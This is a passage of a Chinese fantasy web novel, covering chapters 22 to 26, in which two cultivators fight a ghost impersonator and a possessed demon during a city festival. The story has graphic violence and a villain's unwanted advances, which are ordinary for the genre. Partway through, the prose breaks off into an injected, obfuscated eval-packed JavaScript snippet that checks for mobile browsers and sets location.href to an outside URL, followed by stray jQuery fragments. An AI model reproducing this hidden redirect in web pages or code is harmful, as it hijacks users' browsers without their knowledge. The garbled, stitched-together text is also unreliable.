仿佛忽然就变成了一块木头,陈云定在原地,被人半拖半拽地请离了颛安峰。 陈风起叹了一口气,正待离开之时,下面忽然又传来一道声音。 “陈家主,今年的龟祭,还是先取消吧。” 此言一出,四座皆惊,众人的目光皆集中于封澄身上,封澄站在原地,又继续道:“地魔一死,鬼门大开,古安城中人流拥挤,伤亡不可估量。还是请大人下令,取消龟祭,令古安之民不得外出。” 陈风起回过头来,目光看向封澄:“不过是黄口小儿口出狂言,竟有人当真。” 说罢,他头也不回,径自甩袖离去了。 封澄捏了捏拳头,赵负雪道:“不妨事,除魔之事做得来,除鬼想必也不麻烦。” 她揉了揉眉心:“但愿吧,现在还得想办法把阿环的尸身找出来,那人魔没被抓着,阿环的尸身也寻不到,我心中实在不安,日子一长,阿环的尸身腐坏,追魔想必也无法用了。” “既然作案的人魔是那男人的母亲,那么恐怕不能从他口中再撬出什么来了。”赵负雪道,“此时此刻,还是想方设法,将古安民众护起来为妙。” 距离龟祭还有三日,三日之期,二人即便是有通了天的本事,也难以做出多么周密的防护来,龟祭节日盛大,早已是古安的传统,封赵二人人生地不熟,又怎么能说动众人改变主意? 思来想去,封澄下定决心:“赵公子,你还有多少钱?” 赵负雪:“?” 心下虽疑惑,赵负雪却还是诚实道:“我身边所带金银不多,但出门花费,可直接记在赵家账上。” 想了想,赵负雪脸上又带了些莫名的红意:“你想买什么,不必手软。” “……” 脸,你的脸,红什么红什么?! 封澄一边槽,一边道:“那好,这三日,尽量多买些空白符咒,我们有大工程要做了。” 赵负雪红着脸一本正经:“你要做什么?布阵?” 封澄揉着太阳穴道:“对,在人流量多的街道布些阵来,先把这帮不怕死的人护着,然后等龟祭当天,兵来将挡,水来土掩,什么东西回来了,就让什么东西有来无回。” 她说这句话时自信极了,简直是毫无由来的自信,可赵负雪看着她,口中却不由自主地说出一句:“好。” 封澄说完,提步便要走,临走两步,又想起来,回头道:“待龟祭当日,我的红绳,能绑在你身上吗?” 这事也是她深思熟虑后的结果,倒不是她怕自己掉进鬼界回不来,而是担心赵负雪。 他这时候还不到二十岁,哪怕再天纵奇才,对敌的经验也是不足的,若是在鬼界丢了,绝对是她的大麻烦。 赵负雪却是一怔,不知想到了什么,嘴角悄悄地勾了起来:“好!” 三日时间飞快,二人这几日连山上都未回去过几次,时间都用在山下布阵了,所幸二人都还对阵修之术有些涉猎,紧赶慢赶,总算是把古安众街道护好了。 阵法对灵力的耗费是巨大的,三日忙碌下来,二人皆有些疲累。 今夜,灯火如昼。 封澄穿着陈家备上的衣物,戴着面具,来到了山下,等待赵负雪。 陈云送来的是青面獠牙的半脸厉鬼面具,与她今日的一身红袍很是相配,只是这面具有些大了,封澄戴得有些别扭,鼻子上有些膈人,正调整之际,忽见一人从容踏月而来。 来者穿一身墨黑长袍,墨发束起,脸上是半张狐面,露出的下半张脸却有些微微泛红:“这是什么东西,非得戴这个吗?” 不说话时似仙如妖的,一开口便打回了原型,封澄忍俊不禁地拉过他来,将早已备好的红绳牵到了赵负雪的手腕处,生怕他挣脱似的,一口气打了数个死结。 赵负雪看着她一个接一个地打死结,额角微跳:“你打这么多结做什么,奇丑无比。” 封澄头也不抬地继续打小疙瘩:“结虽丑,但赵公子长得俊俏啊!若是被哪个鬼看上,我可抢不过人家,还是趁早捆死了比较好。” 赵负雪额角跳得更厉害了:“……” 哪个鬼这么不长眼。 龟祭不愧是古安的大节,封澄原本只当古安是个小城,没曾想到了大节上,人竟然这么多,且商贩小摊、耍的把戏,都将热闹一层一层地又推了上去,封澄一路走,一路啧啧赞叹:“陈云果然实诚,这龟祭又热闹又漂亮——话说这几日忙碌,也没看见他。” 自打颛安峰上一别后,她还真再也没碰到过陈云,一旁的赵负雪听见她嘀咕,冷声道:“看见他作甚,聒噪。” 封澄觉得很有必要给陈云道个冤——她比陈云聒噪多了。 忽然间,封澄的目光落到了一旁的糖人摊子上,她不动声色地动了动二人拴着红绳的那只手:“那里有做糖人的。” 赵负雪连忙扯她:“今夜有正事,不忙这些。” 谁知手腕一动,竟是封澄扯着他直接走了过去:“老板,做两个大的!” 于是再从人堆中挤出来的时候,二人灰头土脸,手上却皆拿了一幅活灵活现的糖人,封澄的是和合十二仙,赵负雪的是火烧阎王殿。 “……”赵负雪无语道:“你今夜没用晚膳吗?” 封澄不答,面无表情地咬了一口糖人:“总不能来一趟,只抓鬼了,该凑的热闹还是得凑点。” 比起做血修烧杀抢掠的职业道德,封澄凑热闹的八卦道德显然是更敬业一点,赵负雪心想。 忽然间,有一小丫头撞到了封澄的怀里,封澄忙低头护住来者:“哎呀,这般冒失。” 小丫头抬起头,她带着张小号的厉鬼面具,看向封澄时,忍不住一笑:“姐姐和我戴着一样的面具。”< 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“坏了,”封澄心道,“得快点把人找回来。” 正焦急间,却见赵负雪又从人群中走了出来,他见到封澄,竟然在原地定定地怔住了。 虚惊一场,封澄松了一口气,连忙过去拽过赵负雪的手腕来,重新将二人绑在一起:“你我靠得近一些,今夜有古怪,这红绳绝对不能再断第二次了。” 忽然间,她感觉到赵负雪向她靠近了一步。 封澄抬起头来:“?” 不知是不是她的错觉,这个赵负雪似乎个子高了一点,她不确定地眯着眼睛打量,忽然间,手上一凉。 低头一看,赵负雪轻轻地抓住了她的手:“这样,就不会断了。” 他的手无比冰冷,几乎想在抓着一块冰,封澄下意识地便缩了缩手,不料赵负雪却抓得更紧了:“怎么了?” 有些凉,封澄想了想,还是道:“没什么,就这样吧,我们去开阵。” 艰难地挤到阵前后,封澄抬手便去赵负雪的腰间摸剑,赵负雪站着不动,垂眸看向她,这视线硬生生地把封澄看毛了,她干笑两声,不知怎的,不敢继续摸了:“你怎么突然怪怪的,快点拔剑,我要开阵了。” 赵负雪道:“这种阵法,岂用你动手。” 他眼神一厉,不过一个眼神,那阵法中竟径直腾起滔天白焰,随即那阵法嗡鸣一声,竟轰然一声,以前所未有的恐怖范围全然展开了! 封澄心下忽然咯噔一下:不对劲。 这个阵法做得仓促,别说是展开这种足以笼罩全城的范围了,就算只展开一半,也是万万不能的。所以她才会和赵负雪忙碌三日,在城中诸地布下阵法。 现下这个赵负雪,甚至没有走到阵法中去,只区区一个眼神,便将此阵激发到了如此可怖的程度。 他现在绝对做不到,若说是她后来拜的那个师尊还差不多。 她的眼神骤然一厉——眼下抓着她手的,不是赵负雪。 他把赵负雪弄哪儿去了。 23. 第 23 章 这么想着,封澄却不动声色地握紧了‘赵负雪’的手。 赵负雪似有所觉,低头垂眸,温声道:“手有些凉,冷了?” 封澄抬起头来,目光灼灼地盯着他,唇角不自觉地逸出一分冷笑:“不。” 话音方落,她的手猝然压在了负雪剑锋上,一道堪称骇人的血口当即出现在了她的掌心,她掌间鲜血盘旋,竟逐渐成了一把长木仓的模样。 “你把他弄到哪里去了。” 说这句话时,周遭忽然天旋地转,原本喧嚷的人声全然无迹,喧闹无比的人间霎时成了一片寂静的街道,封澄甚至能看到方才买糖人的小摊。 只是此时,早已空无一人。 ‘赵负雪’的视线落在了封澄的长木仓上,他抬起手来,轻轻捻了捻掌心,似乎很是惋惜封澄的挣脱:“许久不见你拿出这东西来了。” 封澄额角隐隐沁出几分冷汗,面前的人深不可测,绝非可以小打小闹对待的角色,她重生而来,灵力与体力并未同前世一般强悍,对上这种对手,必然是要谨慎再谨慎。 不料来者似乎很懒得动手,他只道:“你现下,必败无疑。” 封澄吞了吞口水,握着木仓的手似乎更紧了一些,她道:“不试试怎么知道。” 即便是败也要打,这人把赵负雪不知搞到哪里去了,她不动手,岂不是找不回他来了? 好似是听到了什么笑话,来者很轻地笑了两声,随即只见滔天灵力威压直直向封澄袭来,她当即两眼一黑,胃囊中仿佛有一只巨兽在翻腾,她喉咙一酸,随即便俯身,拄着木仓干呕不止。 那人却走到了她的身边,怜惜不已地托起她的脸。 他的手无疑是冰冷的,封澄甚至觉得他的手比真正的雪还凉。 这只冰冷的手轻柔地揉开她的唇,探进了她的口中:“是有点想吐吗?” 高热的口腔,骤然到访的不速之客,封澄一怔,当即发了狠一般,狠狠地向下一咬,不料来者似乎是早已熟悉她口中每颗牙齿的位置一般,轻而易举地避过了她的尖牙,他轻轻地捏着她的下巴,道:“嘘——乖一点,我就带你去见他。” 二人的手腕上还系着一样的红绳,封澄强行睁着满是生理性眼泪的眼睛,看到那串熟悉无比的疙瘩。 “你把他如何了。”封澄艰涩道。 他淡淡笑了一声,封澄莫名觉得这笑里面有几分嘲讽:“不如何,他没用,我放他去该去的地方了。” 待那男人将她带至人魔面前时,封澄却说不出话来。 人魔,可杀,厉鬼,可杀。 而还了人魂的魔,该如何对待,却是封澄难以抉择的。 她看着那个女人一边流泪,一边挥舞着巨大的利刃,地上横陈着尸块,鲜血同魔气一道翻腾,有陈家人已经下来除魔,不料陈家人的出现似乎更加激出了那女人的魔气。 杀气腾腾,遍地残尸。 而她好像隔着透不过去的壁障一般,只能徒劳无功地看着,却无法深入一步。 “你做了什么手脚?” 封澄咬牙切齿,身后的男人却不动声色地捏起她散下来的一缕长发:“这里是鬼界。” 鬼界? 这就惊奇了,封澄道:“你是死人?” 这句话可当真没礼貌极了,男人却忍俊不禁,喉咙里发出低沉的笑声:“是啊,我是死人。” 封澄一边同他说话,一边暗暗地寻找逃出去的契机:“怎么死的?” 那人道:“说来惭愧,殉情。” 殉情? 封澄额角直跳——这么一说她还真觉出来了,这男鬼一身鳏夫味,孤苦伶仃地站在那儿,能让人脑补出八百折苦情戏。 要不是场合不对,单因为这失传已久的死法,她都想敬这情圣一缸。 她感觉到压在身上的灵力似乎撤去了许多,于是不动声色地握住了长木仓:“贤伉俪想必情深意重,既然如此,你为何不去转生投胎,与她再续前缘呢?” 他对封澄的头发好像非常感兴趣,爱不释手地捏了又捏。 “一开始寻不到,”他爱怜地轻轻嗅着,“后来寻到了,却发现,她好像要和别的男人跑了。” 封澄:“……” 失策了。 封澄干巴巴道:“那还真挺惨的。” 男鬼却不说话了,他眯了眯眼睛,忽然笑了,道:“她是不是很过分?” 话音未落,二人四周的灵气微微一扭曲,男鬼猛地向后退一步,险之又险地避过了轰上来的一记上勾拳,谁料紧接着便是以非人之速冲来的一记重击,直直轰在他心口上,竟将他直直轰在地上,砸得砖石飞溅。 “很过分,但和我没关系。”她居高临下地甩出长木仓,“少说那些没用的,赵负雪去哪儿了——就是你装成的这个人。” 男鬼仰面躺在地上,血迹缓缓地从他的身上散出来,寂静片刻,他却好像突然被砸高兴了一样,哈哈地笑起来。 封澄迟疑:“……?” 这一拳把这个脑子不正常的男鬼彻底砸发疯了? 男鬼笑咳起来,他的喉咙出不断有血涌出:“他应该要死了。” 死了? 刹那间,仿佛周身血液齐齐褪去,封澄浑身上下冰凉彻底,攥着长木仓的手青筋爆出,她一字一顿,咬牙切齿道:“你说什么?” 男鬼慢慢地站起来,这一幅浑身染血的样子,竟然比赵负雪更像赵负雪:“不要管宝华楼和陈家的事。” 此时此刻,她才没心管陈家什么事,封澄一步上前,抓着他的衣领道:“我问你为什么说赵负雪要死了。” 二人靠得太近,男鬼垂眸看她:“……” 封澄不闪不躲地逼视着他,目光里似能喷出火焰。 忽然间,那男鬼低头,飞快地吻了她的额头。 封澄:“……???!!!!” 她瞳孔登时溜圆,骇得连抓他领子都不想抓了,当即一拳轰过去! 长这么大,抓过不少人,杀过不少魔,可抓这种纯变态还是头一遭!封澄感觉自己的世界观都被这男鬼亲炸了,她摸了摸额头上的面具,咆哮道:“我日你先人,你有病吧!!!” 男鬼被她轰了个正着,不闪不躲不气,他甚至从最初那灵力威压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363221|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后便再没还手过,他被砸在身后石柱上哈哈大笑,笑得几乎喘不过气来,封澄甚至觉得他比刚才还要开心了。 杀又杀不了,打又越打越开心,赵负雪还捏在他手里,封澄只觉得从没这般心累过。 忽然间,封澄眼尖地看到远处有一身穿黑衣的人踏月而来,她登时眼睛一亮——来者不是赵负雪又是谁? ** 赵负雪的手腕一松,拥挤的人流登时把他与封澄冲散了,他把手腕抬起来,暗道一声不好。 剩下的只有封澄硬系上的一串小疙瘩,而红绳那边应该系着的另一人却不见踪影。 “见了活鬼……封澄!”赵负雪咬牙骂了一声,拨开人流寻找封澄。 回应他的只有越来越拥挤的人流,他艰难不已地在人群中寻找封澄的暗红袍子与厉鬼獠牙,被众人挤过来挤过去,几乎喘不过气。 忽然间,街道西面爆发出了一阵惊天的尖叫声,随即便是一大波人流惊慌失措地向这边挤来,赵负雪猛地回身,眼神一暗——出事了! 那个躲于幕后、久不露面的人魔,像一枚引线埋于地下的火药,骤然炸了。 此时此刻,赵负雪心中却只有一个想法——如果封澄看到了,她一定会赶到出事的地方去。 他赶过去,定能与封澄及时会和。 想也不想地,赵负雪登时几个起落,向着吵闹声的发源地奔去。 不过片刻,他赶到了,人魔转过身,站在遍地血海中,与高处的赵负雪遥遥对望。 赵负雪来时,便嗅到了前所未有的血腥气。 “阵法还未开启,她便动手了。” 他面无表情地抽出长剑,随着一道冷冷寒光,见素灵气悍然袭去,众陈氏修士正苦力支撑不得,见有人从天而降,又惊又喜道:“赵公子!” 赵负雪的剑气将人魔逼退了三尺远,他站在众修士之前,神色冷然,视线隐隐地向人群中一扫:“封姑娘呢,她过来了吗?” 众人面面相觑:“不知道啊!” “没见到封姑娘来,公子没和封姑娘一起吗?” “我们这就派人去寻封姑娘。” 赵负雪咬牙:“不必。” 阵法已然开启,必然是封澄做的,他记得阵法位置,转身道:“你们能撑多久?” 陈氏众人互相搀扶:“赵公子尽管去找封姑娘,我们撑个一时半刻的不成问题。” 不料话音未落,那因赵负雪的剑气而逼退的人魔便狞笑一声,飞羽似的毒刺骤然刺向了陈氏众人,赵负雪眼神一凝,道一声:“躲!” 这毒刺分外眼熟,简直同封澄那日在李家所遇的一模一样,他冷道:“是你?” 人魔从剑芒与鲜血中走来,露出了全貌。 这个人魔,如果是在化魔之前,想必是个温柔款款的女子,这温柔痕迹即便是在她化魔之后,仍然可以见得,此时的她手持利刃,足不沾地,惨白的脸色上是血似的胭脂,偏偏一双眼睛既哀婉又恳求。 一见这双眼睛,赵负雪便明白了。 那唱戏的傻子,真把他母亲的魂魄,召到了一只魔的体内。 24. 第 24 章 思及此处,赵负雪寒声道:“前几日那个唱戏的呢?” 陈家人支支吾吾道;“这,家主的家事,我们也管不着,听说是被压入了陈氏地牢里,其他的,便一概不知了。” 正说话间,那人魔的刀子已然劈到了赵负雪的面前,赵负雪既要顾及那人魔体内的人魂,又要估计身后瑟瑟发抖的陈家人,当真是进也难进,退也难退。那人魔行走之间,脚不沾地,仿佛是女鬼一般,骤然便贴到了赵负雪面上! 赵负雪悚然一惊,极快地提剑格挡,刀剑相击,赵负雪登时被震退数丈,那女鬼一样的人魔手腕一转,刀光径直削向站在此处的陈家人。 随着一腔骤然喷出的红泉,又是一人倒下了。 那人魔却好像还是不解气一般,砍下人头尚嫌不足,当着众人之面,竟然将尸身分成几块,登时,众人的鼻尖皆弥漫着一股挥之不去的血腥气。 人人的脸上、衣服上,都沾上了同伴高高溅出来的鲜血。 方才还好端端站在这里的人,不过一个照面,便被砍头戮尸了,这画面的冲击感绝非常人能受,看着同伴尚且温热的内脏漫到了自己的脚面上,几个陈家人登时撑不住,当场便晕了过去,人魔低头看了看,漠然抬起手来,眼见着就要拿这几个毫无抵挡之力的人再次开刀。 赵负雪勉力站起来,拦在了人魔面前,见素之上,霎时灵力暴涨,魔气与灵气一冲,霎时将二人冲飞出去。 人魔女鬼似的,轻飘飘便落了地,赵负雪被猛击到了一旁的房屋上,霎时间,尘土飞扬,房屋倒塌。 他看着提着长刀,慢慢地向他们走来的人魔,强撑着自己从断壁残垣中站了起来,见着陈家人还傻傻呆呆地站在原地,当即气急攻心道:“还愣着干什么,跑!分开跑,跑到阵法里去!然后叫封澄别过来!” 陈家人一怔,随即疯狂地向着白光笼罩的阵中跑去。 人魔提着长刀,轻飘飘地,鬼魅一样便要追上去,赵负雪提剑,径直拦在了人魔面前,他清了清嗓子,不料倒清出两口血来:“夫人,住手吧。” 人魔定定地看着他,眼睛中不住地向外流泪,手却高高地举起了长刀。 赵负雪感觉自己的呼吸里都带着血气,灵力的匮乏令见素也不像常日般白光粲然,此时此刻,赵负雪才意识到,原来见素是一把分量不轻的剑。 这人魔强得离谱,巨力比天魔还要强横,身法诡异,手段凶残,且还怨报仇,狠绝无比。 他绝途末路一般地站在人魔之前,心中却突如其然地宁静起来。 “折这儿了,”他想,“这下可没人管她做不做好人了。” 人魔眼含热泪,闪电似的劈向了他的喉咙。 鬼界之中,有两双眼睛正看着这一切。 男鬼笑道:“这废物,优柔寡断,早该死了。” 封澄自然也是将一切都收归眼底了,她只恨自己被关在这劳什子鬼界中,几度搜寻,却根本找不到出去的线索,她与赵负雪一墙之隔,好像伸手就能触到他一般,可只能眼睁睁地看着他遍身鲜血,苦力支撑。 “我把你打死在这里,”封澄的怒火烧得她忘了理智二字怎么写,“就能出去救他了!” 男鬼却很心宽地笑了:“且不说你能不能做到——即便杀了我,你也是出不去的,鬼界关的是人魂,若无鬼类带路,活人是绝对出不去的。” 界外,人魔的长刀已经劈向了赵负雪的剑,他被震出一口血来,封澄站在他面前,甚至感觉这血染到了她的衣领上。 她骤然捏紧了拳头,男鬼好整以暇地被掼在墙上:“待他死了,我自会带你回去。” 远远处,方才跑进去的陈家人又稀稀拉拉地跑了回来,人魔看见陈家人冲出来了,当即将赵负雪抛至脑后,提着长刀便飘向了陈家众人,她听见赵负雪怒吼道:“你们跟过来做什么!” 陈家人瑟瑟发抖,人人手上拿着灵力所化利刃:“我们想明白了!这魔物是我们陈家自己作下的孽,不应该连累赵公子!” 说话间,便有一陈家人不敌,被人魔斩于刀下,人魔低头分尸之际,又有一陈家人抖着手扑上去,狠狠地刺向人魔。 “赵公子与封姑娘,这几日都在为我们陈家操劳,我爹的尸身还是你们带回来的,人不能不记恩!” 陈家利刃对人魔的伤害,如同泥牛入海,那人魔停了分尸的手,只一振,那意图偷袭的陈家人便被振飞出去,人魔低下头,顺手似的,将那陈家人也一并分尸了。 赵负雪目眦欲裂,当即吼道:“上来送死做什么!滚回去!” 陈家人道:“我们家主和少主一会儿就到,只要拖过这一会儿,他们一定会到!” 话音未落,赵负雪的灵力便悍然冲了出来,他强撑着自己站起来,拖着剑走了上去:“他们不会来了。” 鬼界内,封澄不知何时已然静了下来,她垂着手,神色隐在阴影之下:“这便是你乐于见到的吗。” 男鬼的身上多了许多新添的伤痕,他哈哈大笑:“回光返照的灵气——他终于快要死了。” 见封澄不动,他慢慢地把自己从墙上放下来:“如若你不愿见到他最后之时,可以到我这里来。” 说着,他双手张开,竟是一个拥抱的样子。 封澄的手骤然拧紧了长枪。 没用的,她用了最狠的手段,那力道足足能把一个修士打死几百回,可即便是每一寸骨骼都碎在了体内,这男鬼仍然是不愿将她带离鬼界之外。 鬼界外的人魔已走向了赵负雪,他的本源灵气一明一灭,不知何时,古安暴雨如注。 “等不及了,”她道。 男鬼笑道:“终于要死了。” 陡然间,悍然煞气飙出,他的笑意凝在脸上。 这煞气绝非平常血修煞气,它的血气好似见不到低的深渊,几乎碰一碰,人便会被这悍然煞气搅碎进去,冲天红云而起,黑雾电闪雷鸣,这般阵仗,就连鬼界也隐隐动荡。 那风暴的中心却安然平静。 他知道,那不是平静,而是浓郁到几乎能招来天谴的煞气! 在这最平静的地方,他清晰地听到了她的心跳。 咚——咚—— 咚咚——咚咚—— 她手中长 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有一不明世事之人问道:“这个‘她’是谁啊?” 一旁的人连忙杵了他一肘。 赵负雪说完,感觉心里静了许多,他抬起剑,聚精会神地看向走来的人魔——他甚至已经能感觉到人魔阴冷无比的呼吸了。 高手过招,不需要落实,只看一个抬手,便能知晓此招胜负。 在看到包含着凶煞魔气的长刀落下之时,赵负雪心中念头前所未有地清晰。 他要死了。 赵负雪狠狠地闭了闭眼,本源灵气垂死挣扎似的一亮,这灵气随即便被人魔身上的魔气所吞噬,再无一物能阻拦人魔的长刀! 临死之时,他心头一片空白,忽然间便只有封澄捏得那对黏糊成一团的泥人了。 电光火石的一茬,他忽然嗅到一阵浅浅的香气。 浅浅的蜜糖香,混着些药气。 今夜封澄不肯吃药,他拿着药,追了她半座山头。 轰然一声,那长刀并未落到他的身上,反而是人魔口吐鲜血,一连向后飞了数十丈! 少女恍如凭空出现一样,站在了他的面前,似笑非笑的声音随着雷鸣传入了他的耳中:“赵公子,你生前俊俏也就罢了,难道死了也要风流吗?” 他于漆黑雨夜中,怔怔道:“你怎么在这?” 封澄面对着他,笑道:“我还没怪你突然放开了我的手,你倒是先问起我来了。” 封澄出现在他的面前,赵负雪心中说不清道不明的情绪逼得他心口一酸,一时不知道是焦急更多一些,还是渴望更多一些,他人一急,不管不顾地抓上封澄的手:“你来做什么!快滚回阵里去!” 忽然间,他发觉抓住的手有几分异样。 皮肉坚硬无比,利爪锋利,关节处还有倒刺。 她站在他的面前,闪电似的白光,霎时照得二人周身雪亮。 封澄双目血红,一只诡异的角探出了额边,面上与颈上浮着青色的鳞。 赵负雪心头一空。 25. 第 25 章 在很久之前,久到还在天机院读书时,封澄曾和同窗一道去看过一台戏,叫白蛇传。 当时的挚友说:“这许仙见着白娘子的真身,便被吓死过去,可见他的感情不真,连挚爱之人的真面目都难以接受。” 彼时的封澄咬着茶杯边笑;“你怎么知道是许仙的感情不真,而不是白娘子的蛇身着实吓人呢?” 此时此刻,看着赵负雪,封澄莫名就想到了这一台戏。 她的样子,应该是无比骇人的,从赵负雪身后众陈家人的反应就能看出来了。有几个胆子小的,登时便被吓软在地。 人魔嘶吼着,不满于猎物被一个突如其来的同类所抢,她的口中发出嘶嘶的声音,封澄转向她,指尖血木仓重新出现,她温声道:“躲远些,赵公子。” 暴雨如注,电闪雷鸣。 赵负雪与那人魔过招时,只觉得那人魔的力量与肢体强度堪比天魔,而当那人魔对上真正的天魔时,却如同三岁稚子执刀砍向魁梧巨人一般。 赵负雪忽然想起封澄说的一句话。 她说,她修行至今,并未因修行而杀过一个人。 而血道,同族相食。 哪个肉体凡胎的、爹生娘养的修士,能强悍如封澄那个程度?海洛斯的爪子扣在她毫无防备的脖子上,竟连一道白印子都没留下。 只是血修,是不够的,修到极致、把整个大宋的人全吃了,也不够。 将他打得无比狼狈的人魔,在封澄的木仓下,竟然节节败退,而距离二人战场稍微近一些的人,竟连封澄扬起的魔气都遭受不住,大叫着便向后退去。 魔与魔的打斗,寂静无言,轰然雷鸣之下,那人魔的利刃被破成数片,紧接着竟被封澄一木仓砸进了地砖上,轰出了一个庞大无匹的窟窿! 于是众人惊悚无比地看到,这令众人伤亡惨重的人魔,被封澄数息,打得动弹不得了。 暴雨将大地上的血冲聚成一线,人的血,魔的血,分不清彼此,古安长街上张灯结彩,上面也鲜红,下面也鲜红。 封澄漠然收回木仓,走向了愣在一旁的众人,陈氏众人瑟瑟发抖,随即反应过来:“救……救命啊——!” 他们发疯一般向后奔逃,骤然间便逃得无影无踪,封澄慢慢地走过去,走向了唯一一个没有逃离的人。 他的黑衣吸饱了血,雨水浇在他的身上,衣摆下带出一线的红。 封澄歪了歪头,声音轻得像羽毛;“为什么不走?” 赵负雪觉得自己此时应该有许多反应,或者杀意,或者恐惧,或者当场和她划清立场,或者谢她救命之恩。 血修不可恕,魔族不可恕。 可看到这个木仓上淋血,一步一步地向他走来的人时,赵负雪脑中竟然只有一句话。 “难受吗?” 封澄一怔,随后慢慢地笑了:“还好,只是要忍一下。” 面前的少女眨着眼睛,深黑的长睫下垂着雨珠:“要是忍不住把她吃了,我这几天可就白忙活了。” 在这种诡异的场景,赵负雪竟被这句话逗得勾起了嘴角。 巨坑里传来人魔的呛咳声,封澄抬起手来,摸了摸她探出来的角:“收不回去了,就这么上陈氏山庄吧,把他们做的事情一一清算。” 忽然间,她感觉到温热从这个原本不该有的器官上传来。 赵负雪不知何时,伸出了手,他的手上满是伤口,触碰她这只巨角的力道却是轻柔无比:“挺好看的。” 一触既过,他若无其事地松开手,想着砸进人魔的巨坑中走去:“走吧。” 这一触,她的心口仿佛有蚂蚁细细软软地爬过,她看着赵负雪踉踉跄跄的背影,一时之间,她有些想笑。 越往陈氏山庄上走,暴雨越大,人魔被封澄绑在身边,似乎也是知道此人轻易招惹不得了,她面上虽露着威胁神色,脚却不由自主地随着封澄的钳制而向前走着。 陈氏山庄,巍巍群山,屹立与暴雨之中,站在山脚下,便令人感觉自身渺小无比。 在见到陈氏山庄的山门时,人魔终于停下了挣扎,她站在山脚下,仰起头来看向山顶,目光中的泪水不停,但更为清晰的,却是隐隐作燃的怒火。 封澄摸了摸自己的角:“陈云还在里面吧?” 赵负雪默了默,将脸上面具取下,不由分说地扣在了封澄面上:“戴着这个。” 他的脸被雨浇着,雨珠顺着他挺直的鼻梁向下滑落,眼睛却亮得像寒星,封澄被他扣了个正着,无奈道:“你的面具小了一些。” 这只怪异无比的鬼角着实占地方,赵负雪皱眉,凑过来给她调整。 这调整得倒是没问题,但…… 封澄隐忍地吞了吞口水。 这个角,是轻易碰不得的。 赵负雪调整得认真,指数次擦过封澄的角,封澄呼吸一时有些急促,在赵负雪的手不知多少次碰到她的角后,她忍了又忍,终于忍不住了,一把抓住赵负雪的手。 “赵公子,”她哑着嗓子道,“别摸了。” 再摸就摸出事了,封澄忍着后半句没说。 赵负雪的手一停,他福至心灵地从封澄的脸色中读出了后半句的未竟之言,被封澄小心抓着的手登时像摸了火炭一样飞快地弹开了,他的脸上腾起一层薄红,手足无措道:“我我我我……!” 封澄揶揄道:“虽然是额外的部件,但该有的功能还是有的,赵公子,你耍流氓啊?” 赵负雪朦朦胧胧阅过的杂书中讲过,人形天魔的角,似乎是求偶之用, 堂堂君子,光风霁月地活了这么多年,还是头一次被人当面喊耍流氓。偏生他做的事,又的确是无可辩驳的耍流氓。 又想到方才他摸了封澄的角,还跟了一句‘挺好看’,赵负雪就恨不得原地晕了才好。 所幸封澄也没有在这些事上继续调笑他的意思,她笑了笑,便抓着人魔继续往山上走去:“走吧,陈云向来擅长自己哄自己,即便是看到了,也只会当我是做了个惟妙惟肖的装扮。” 说来诡异,二人手上拖着的,是视陈家为仇的凶魔,屠了陈家尚也不意外,而这两人竟还担心鬼角会不会吓到陈云。 兴许是所有人手皆调去山下除魔的缘故,三人行走间,除了因大雨而格外泥泞的山路外 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赵负雪微微皱眉道:“难道人魔还对他还有旧情?” 但这人魔下手之狠绝,可全然不像尚存人性的模样,说到底,人魂的存在感近乎微弱,除了能清晰地感知周围发生的一切之外,并不能影响人魔做出什么行为来。 封澄道:“你与人魔交手时,她眼含热泪,可曾停过一次手?” 赵负雪默了默,轻轻地摇头。 封澄道;“魔的霸道,是人极难反抗的,她阻止不了这只魔乱行杀戮,自然也阻止不料魔的停手不杀——你信不信,如若她自己能拿主意,她无论如何也会把他杀了。” 赵负雪沉默了;“……” 他很想问,既然如此,她又是如何遏制住体内魔的本能,像人一样活下去的呢? 这得有多难,多痛苦呢? 封澄继续道:“魔停手了,无非只有一个原因,那就是杀了他,她自己也活不下去。” 赵负雪的脸骤然一沉:“你是说,秽迹?” 封澄点了点头。 除此之外,再难解释。 已经只剩下本能的魔,是为何才会停手不杀的。 她身死化魔时,陈风起就在她的身边。 果然,陈风起慢慢地站起来,那人魔的刀尖离他的头却越来越远,他讥讽道:“看,即便是刀子递到了你的手里,你也没法杀了我。” “生前不能,死后不能。” “杀我的机会,我给过你许多,不是吗?” 赵负雪牙一咬,手便按在了腰间见素上:“正好,杀一个人,除两个恶,没有这么划算的买卖了。” 一旁的封澄却摇了摇头,巨大的、恐怖的巨爪放在了他的手上:“赵公子,停手。” “该动手的人不是我们两个。” 门外忽然传来一声霹雳,封澄嘴角一勾:“来了。” 步步沉重,魔气横生,这冲天的魔气,几乎蒙得人睁不开眼睛。 又一只人魔。 26. 第 26 章 随着全然陌生的魔气,还有来自少年人的怒吼:“我不放开!你不许上去!” 一听这个声音,封澄便脸色一沉:“陈云怎么在这里?” 变了脸色的不止封澄一个,听到陈云声嘶力竭的声音,陈风起一贯八风不动的脸上也终于出现了裂纹,他也终于坐不住了,豁然起身,脸上竟然有了能称之为恐惧的神色。 只听陈风起怒吼一声,手上灵光爆现,猎鹰一样俯冲下来,人魔躲闪不及,竟然被他一记暴击冲了出去! 当真是舐犊情深,慈父心肠。 人魔正砸中堂中香炉,发出了沉重一声。 陈风起正要继续向山下去,不料一杆血色长枪却拦住了他,他的眼中闪过凶光,看向木仓的主人。 ——这人戴着狰狞鬼面,手爪也惟妙惟肖地仿了恶鬼天魔的样子,提木仓既稳又有力,一见便是常年使木仓的人。 木仓,百兵之王。 修士之中,使什么武器的人都有,可使木仓的人却少,修士入道,大都是个风度翩翩、仙风道骨,兵器于其,只是个便于使用灵力的载体,木仓既不便携,又难使,故用者少之又少。 细细一琢磨,使木仓的,且使得好意思拿出来的,好像也只有天机军中那几人了。 短短一瞬,陈风起的脑中不知过了多少个来回,他按捺着心底的焦急与怒意,冷冰冰地打量着岿然不动的封澄。 一个女子,还是个年纪不大的小姑娘。 没听说过有这号人。 “你是在拦我?”陈风起寒声道。 封澄不说话,赵负雪眯了眯眼:“下不去了,那唱戏的有古怪。” 唱戏的? 